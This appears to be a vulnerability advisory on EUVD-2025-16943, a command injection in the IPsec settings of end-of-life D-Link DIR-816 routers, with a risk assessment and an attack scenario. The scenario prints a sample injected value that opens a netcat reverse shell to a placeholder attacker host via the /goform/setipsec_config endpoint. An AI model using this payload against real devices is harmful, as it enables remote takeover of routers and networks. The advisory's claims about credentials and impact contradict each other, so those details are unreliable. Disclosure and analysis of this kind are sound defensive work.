Ipsec EUVD-2025-16943

Despite the CVSS score of 7.3 (High), multiple risk signals elevate this to critical severity: (1) Attack Vector is Network with no authentication required (AV:N/PR:N), making exploitation trivial from the internet; (2) Attack Complexity is Low (AC:L), requiring no special conditions; (3) Public proof-of-concept exists, significantly increasing real-world exploitation probability; (4) The vulnerability impacts confidentiality, integrity, and availability equally (C:L/I:L/A:L). SSVC analysis factors strongly support exploitation: exploitation status is public/active, the attack is automatable, and technical impact is complete system compromise on the router. The primary mitigating factor is that affected devices are end-of-life and unpatched—organizations using this hardware are either unaware of EOL status or unable to upgrade. This represents HIGH real-world risk due to: attack accessibility, proof-of-concept availability, widespread legacy device deployment, and zero patch availability from vendor.

An attacker performs network reconnaissance and identifies a D-Link DIR-816 device on the internet with default or guessable credentials. The attacker crafts an HTTP POST request to /goform/setipsec_config with a malicious payload in the localIP or remoteIP parameter, such as: 'localIP=192.168.1.1; nc -e /bin/sh attacker.com 4444'. Due to lack of input validation, the web server executes the embedded command, providing the attacker with a reverse shell on the router. From this shell, the attacker can modify firmware, harvest LAN traffic, launch MITM attacks on connected devices, or use the router as a pivot point for further network compromise. The attack requires no credentials, no user interaction, and can be executed remotely from anywhere on the internet. Given public POC availability, automated scanning and exploitation toolkits likely exist, making this vulnerability actively exploited in the wild against unpatched deployments.